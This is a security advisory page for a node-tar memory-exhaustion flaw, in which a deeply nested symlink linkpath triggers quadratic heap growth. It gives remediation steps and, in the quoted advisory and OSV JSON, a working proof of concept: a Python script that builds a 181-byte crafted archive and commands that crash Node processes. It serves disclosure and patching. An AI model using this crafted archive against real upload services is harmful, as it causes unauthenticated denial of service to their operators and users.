CVE-2026-140230: Tar Node-tar PathReservations.getDirs() Quadratic Memory Amplification Vulnerability

HIGH
Advisory Identifier: GHSA-xm6h-2993-3ch9
CWE-400
Published
Advisory Summary

CVE-2026-140230 is a HIGH node-tar pathreservations.getdirs() quadratic memory amplification vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Tar libraries in the npm ecosystem. The issue involves node-tar pathreservations.getdirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable oom process kill. Remediation is available by upgrading affected packages to version 8.0.0.

CVE-2026-140230 at a Glance

CVE Identifier CVE-2026-140230
GHSA Identifier GHSA-xm6h-2993-3ch9
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Tar
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-140230

To remediate this vulnerability, upgrade all affected Tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 8.0.0
npm install tar@8.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls tar

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-140230, inspect your project dependencies using npm:

npm ls tar

Analyze the terminal output to locate any version of Tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.

Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary node-tar's PathReservations.getDirs() materializes every parent-directory prefix of a given path as individual strings — an O(N²) operation. The existing maxDepth guard applies only to entry.path, not to entry.linkpath. A crafted archive with a shallow entry.path and a deeply-nested linkpath bypasses the guard entirely, forcing a catastrophic heap allocation. The resulting V8 OOM is uncatchable — try/catch, Promise .catch(), and process.on('uncaughtException') all fail to intercept it. A 181-byte gzip archive is sufficient to instantly kill any Node.js process attempting extraction. ### Details ROOT CAUSE node-tar enforces a maxDepth=1024 segment cap on entry.path via its CHECKPATH routine. This guard is entirely absent for entry.linkpath — the target path of a symlink entry. PathReservations.reserve() unconditionally pushes entry.linkpath into its path list without any depth validation. getDirs() then materializes every parent-directory prefix of that path as individual JavaScript strings. For a linkpath with N segments this produces N strings of average length N/2, totaling O(N²) memory. A linkpath with 10000 segments causes instant catastrophic heap exhaustion. The GNU K (LongLink) extended-header mechanism allows a linkpath up to 1 MiB, roughly 524000 segments, which theoretically yields a ~275 GB memory allocation target. AFFECTED CODE src/path-reservations.ts — getDirs() function src/path-reservations.ts — reserve() function (no depth check before pushing linkpath) The CHECKPATH routine in extract handling — only validates entry.path, not entry.linkpath ATTACK VECTOR 1. Craft a tar archive with a GNU K LongLink record that sets linkpath to N segments deep (a/a/a/.../x) 2. Keep entry.path shallow (e.g. "ln") so the maxDepth guard passes 3. Compress with gzip — 10000-segment archive compresses to 181 bytes 4. Send to any service accepting .tar or .tar.gz uploads THE UNCATCHABLE FAILURE MODE The OOM occurs during PathReservations processing, before any filesystem syscall. V8 heap exhaustion at this stage cannot be intercepted by any JavaScript error handler. The process aborts with FATAL ERROR: Reached heap limit Allocation failed — JavaScript heap out of memory. No graceful recovery is possible. VERIFIED RESULTS (Termux, Node.js v24.18.0, tar 7.5.22) N=2000: 114MB heap, extracts normally N=5000 (12KB archive): 673MB heap, 3.9 seconds, ~55000x memory amplification N=10000 (22KB archive): instant fatal OOM, process aborted 181-byte kill.tar.gz: identical fatal OOM, process aborted Terminal output from N=5000 run: {"outcome":"rejected","ms":6372.3,"rssMB":795.3,"heapMB":673.5,"error":"ENOENT: Cannot cd into out1"} DISTINCTION FROM PRIOR CVEs CVE-2026-73566 (mapHas recursion): required the files option, exploited stack overflow in mapHas. This finding requires no options, targets getDirs, exploits heap exhaustion. CVE-2026-23950 (Unicode race): entirely different class. CVE-2026-59873 (Gzip Bomb): CWE-770, output size consumes disk. This finding exploits linkpath depth consuming heap memory during validation. A decompression output cap would not mitigate this. SUGGESTED FIX Extend the existing maxDepth check to cover entry.linkpath in the CHECKPATH routine. Additionally, PathReservations.reserve() should reject any path with an excessive segment count before it enters getDirs(). ### Proof of concept SETUP ``` mkdir node-tar-poc && cd node-tar-poc npm init -y && npm install tar@7.5.22 ``` STEP 1 — Save craft-deep-linkpath.py ``` import sys BLOCK = 512 def ustar(name, typeflag, size, linkname=b''): h = bytearray(BLOCK) h[0:len(name)] = name h[100:108] = b'0000777\x00' h[124:136] = ('%011o' % size).encode() + b'\x00' h[136:148] = b'00000000000\x00' h[148:156] = b' ' h[156:157] = typeflag h[157:157+len(linkname)] = linkname h[257:263] = b'ustar\x00' h[263:265] = b'00' chksum = sum(h) h[148:156] = ('%06o' % chksum).encode() + b'\x00 ' return bytes(h) def pad(data): if len(data) % BLOCK == 0: return data return data + b'\x00' * (BLOCK - (len(data) % BLOCK)) segments, out = int(sys.argv[1]), sys.argv[2] deep_link = (b'a/' * segments) + b'x' k_header = ustar(b'././@LongLink', b'K', len(deep_link)) with open(out, 'wb') as fp: fp.write(k_header) fp.write(pad(deep_link)) fp.write(ustar(b'ln', b'2', 0, linkname=b'PLACE')) fp.write(b'\x00' * (BLOCK * 2)) print('wrote', out) ``` STEP 2 — Save extract.js ``` const tar = require('tar') const file = process.argv[2] const cwd = process.argv[3] const t0 = process.hrtime.bigint() function report(outcome, extra) { const ms = Number(process.hrtime.bigint() - t0) / 1e6 console.log(JSON.stringify({ outcome, ms: +ms.toFixed(1), rssMB: +(process.memoryUsage().rss/1048576).toFixed(1), heapMB: +(process.memoryUsage().heapUsed/1048576).toFixed(1), ...extra })) } tar.x({ file, cwd }).then( () => { report('ok'); process.exit(0) }, er => { report('rejected', { error: String(er && er.message).slice(0,80) }); process.exit(0) } ) process.on('uncaughtException', er => { report('uncaughtException', { error: String(er && er.message).slice(0,80) }) process.exit(1) }) ``` STEP 3 — Generate archives and run ``` python3 craft-deep-linkpath.py 5000 sub.tar python3 craft-deep-linkpath.py 10000 kill.tar gzip -k -9 kill.tar ``` Demo 1 — amplification (safe, shows O(N2) memory growth): `node extract.js sub.tar out1` Demo 2 — fatal OOM: `node --max-old-space-size=256 extract.js kill.tar out2` Demo 3 — 181-byte gzip kill: `node --max-old-space-size=256 extract.js kill.tar.gz out3` EXPECTED OUTPUT Demo 1: `{"outcome":"rejected","rssMB":795,"heapMB":673,"error":"ENOENT..."}` Demo 2: `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory — Aborted` Demo 3: `identical fatal abort from 181-byte file` ### Impact Remote unauthenticated denial of service against any Node.js service accepting .tar or .tar.gz uploads. A 181-byte crafted file kills the entire process with no possibility of graceful recovery — try/catch, Promise rejection handlers, and uncaughtException all fail to intercept the V8 heap exhaustion. node-tar is the extraction engine behind npm install, making the affected surface extremely broad.

CVE-2026-140230 Affected Tar Versions

1 component(s)
Fixed Versions:
8.0.0
Product / Package Ecosystem Affected Versions Fixed Version
tar
npm
< 8.0.0
8.0.0

References

Frequently Asked Questions

What is CVE-2026-140230?
CVE-2026-140230 is a security vulnerability in Tar involving node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill under CWE-400: Uncontrolled Resource Consumption.
Which Tar versions are affected?
Affected versions include releases prior to 8.0.0 across affected packages: tar.
What version fixes CVE-2026-140230?
Upgrading to 8.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 8.0.0. Upgrade your dependency to 8.0.0 or later.
What CWE is associated with CVE-2026-140230?
CVE-2026-140230 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for CVE-2026-140230?
Run the dependency tree command: 'npm ls tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xm6h-2993-3ch9",
  "modified" : "2026-12-02T18:33:13Z",
  "published" : "2026-12-02T18:33:13Z",
  "aliases" : [ "CVE-2026-140230" ],
  "summary" : "node-tar PathReservations.getDirs() quadratic memory amplification via unbounded symlink linkpath depth — uncatchable OOM process kill",
  "details" : "### Summary\n\nnode-tar's PathReservations.getDirs() materializes every parent-directory prefix of a given path as individual strings — an O(N²) operation. The existing maxDepth guard applies only to entry.path, not to entry.linkpath. A crafted archive with a shallow entry.path and a deeply-nested linkpath bypasses the guard entirely, forcing a catastrophic heap allocation. The resulting V8 OOM is uncatchable — try/catch, Promise .catch(), and process.on('uncaughtException') all fail to intercept it. A 181-byte gzip archive is sufficient to instantly kill any Node.js process attempting extraction.\n\n### Details\n\nROOT CAUSE\n\nnode-tar enforces a maxDepth=1024 segment cap on entry.path via its CHECKPATH routine. This guard is entirely absent for entry.linkpath — the target path of a symlink entry. PathReservations.reserve() unconditionally pushes entry.linkpath into its path list without any depth validation.\n\ngetDirs() then materializes every parent-directory prefix of that path as individual JavaScript strings. For a linkpath with N segments this produces N strings of average length N/2, totaling O(N²) memory. A linkpath with 10000 segments causes instant catastrophic heap exhaustion.\n\nThe GNU K (LongLink) extended-header mechanism allows a linkpath up to 1 MiB, roughly 524000 segments, which theoretically yields a ~275 GB memory allocation target.\n\nAFFECTED CODE\n\nsrc/path-reservations.ts — getDirs() function\nsrc/path-reservations.ts — reserve() function (no depth check before pushing linkpath)\nThe CHECKPATH routine in extract handling — only validates entry.path, not entry.linkpath\n\nATTACK VECTOR\n\n1. Craft a tar archive with a GNU K LongLink record that sets linkpath to N segments deep (a/a/a/.../x)\n2. Keep entry.path shallow (e.g. \"ln\") so the maxDepth guard passes\n3. Compress with gzip — 10000-segment archive compresses to 181 bytes\n4. Send to any service accepting .tar or .tar.gz uploads\n\nTHE UNCATCHABLE FAILURE MODE\n\nThe OOM occurs during PathReservations processing, before any filesystem syscall. V8 heap exhaustion at this stage cannot be intercepted by any JavaScript error handler. The process aborts with FATAL ERROR: Reached heap limit Allocation failed — JavaScript heap out of memory. No graceful recovery is possible.\n\nVERIFIED RESULTS (Termux, Node.js v24.18.0, tar 7.5.22)\n\nN=2000: 114MB heap, extracts normally\nN=5000 (12KB archive): 673MB heap, 3.9 seconds, ~55000x memory amplification\nN=10000 (22KB archive): instant fatal OOM, process aborted\n181-byte kill.tar.gz: identical fatal OOM, process aborted\n\nTerminal output from N=5000 run:\n{\"outcome\":\"rejected\",\"ms\":6372.3,\"rssMB\":795.3,\"heapMB\":673.5,\"error\":\"ENOENT: Cannot cd into out1\"}\n\nDISTINCTION FROM PRIOR CVEs\n\nCVE-2026-73566 (mapHas recursion): required the files option, exploited stack overflow in mapHas. This finding requires no options, targets getDirs, exploits heap exhaustion.\nCVE-2026-23950 (Unicode race): entirely different class.\nCVE-2026-59873 (Gzip Bomb): CWE-770, output size consumes disk. This finding exploits linkpath depth consuming heap memory during validation. A decompression output cap would not mitigate this.\n\nSUGGESTED FIX\n\nExtend the existing maxDepth check to cover entry.linkpath in the CHECKPATH routine. Additionally, PathReservations.reserve() should reject any path with an excessive segment count before it enters getDirs().\n\n### Proof of concept\n\nSETUP\n\n```\nmkdir node-tar-poc && cd node-tar-poc\nnpm init -y && npm install tar@7.5.22\n```\n\nSTEP 1 — Save craft-deep-linkpath.py\n\n```\nimport sys\n\nBLOCK = 512\n\ndef ustar(name, typeflag, size, linkname=b''):\n    h = bytearray(BLOCK)\n    h[0:len(name)] = name\n    h[100:108] = b'0000777\\x00'\n    h[124:136] = ('%011o' % size).encode() + b'\\x00'\n    h[136:148] = b'00000000000\\x00'\n    h[148:156] = b'        '\n    h[156:157] = typeflag\n    h[157:157+len(linkname)] = linkname\n    h[257:263] = b'ustar\\x00'\n    h[263:265] = b'00'\n    chksum = sum(h)\n    h[148:156] = ('%06o' % chksum).encode() + b'\\x00 '\n    return bytes(h)\n\ndef pad(data):\n    if len(data) % BLOCK == 0:\n        return data\n    return data + b'\\x00' * (BLOCK - (len(data) % BLOCK))\n\nsegments, out = int(sys.argv[1]), sys.argv[2]\ndeep_link = (b'a/' * segments) + b'x'\nk_header = ustar(b'././@LongLink', b'K', len(deep_link))\nwith open(out, 'wb') as fp:\n    fp.write(k_header)\n    fp.write(pad(deep_link))\n    fp.write(ustar(b'ln', b'2', 0, linkname=b'PLACE'))\n    fp.write(b'\\x00' * (BLOCK * 2))\nprint('wrote', out)\n```\n\nSTEP 2 — Save extract.js\n\n```\nconst tar = require('tar')\nconst file = process.argv[2]\nconst cwd = process.argv[3]\nconst t0 = process.hrtime.bigint()\n\nfunction report(outcome, extra) {\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(JSON.stringify({ outcome, ms: +ms.toFixed(1),\n    rssMB: +(process.memoryUsage().rss/1048576).toFixed(1),\n    heapMB: +(process.memoryUsage().heapUsed/1048576).toFixed(1), ...extra }))\n}\n\ntar.x({ file, cwd }).then(\n  () => { report('ok'); process.exit(0) },\n  er => { report('rejected', { error: String(er && er.message).slice(0,80) }); process.exit(0) }\n)\n\nprocess.on('uncaughtException', er => {\n  report('uncaughtException', { error: String(er && er.message).slice(0,80) })\n  process.exit(1)\n})\n```\n\nSTEP 3 — Generate archives and run\n\n```\npython3 craft-deep-linkpath.py 5000 sub.tar\npython3 craft-deep-linkpath.py 10000 kill.tar\ngzip -k -9 kill.tar\n```\nDemo 1 — amplification (safe, shows O(N2) memory growth):\n`node extract.js sub.tar out1`\n\nDemo 2 — fatal OOM:\n`node --max-old-space-size=256 extract.js kill.tar out2`\n\nDemo 3 — 181-byte gzip kill:\n`node --max-old-space-size=256 extract.js kill.tar.gz out3`\n\n\nEXPECTED OUTPUT\n\nDemo 1: `{\"outcome\":\"rejected\",\"rssMB\":795,\"heapMB\":673,\"error\":\"ENOENT...\"}`\nDemo 2: `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory — Aborted`\nDemo 3: `identical fatal abort from 181-byte file`\n\n### Impact\n\nRemote unauthenticated denial of service against any Node.js service accepting .tar or .tar.gz uploads. A 181-byte crafted file kills the entire process with no possibility of graceful recovery — try/catch, Promise rejection handlers, and uncaughtException all fail to intercept the V8 heap exhaustion. node-tar is the extraction engine behind npm install, making the affected surface extremely broad.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "8.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-xm6h-2993-3ch9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140230"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-02T18:33:13Z",
    "nvd_published_at" : "2026-12-01T17:17:35Z"
  }
}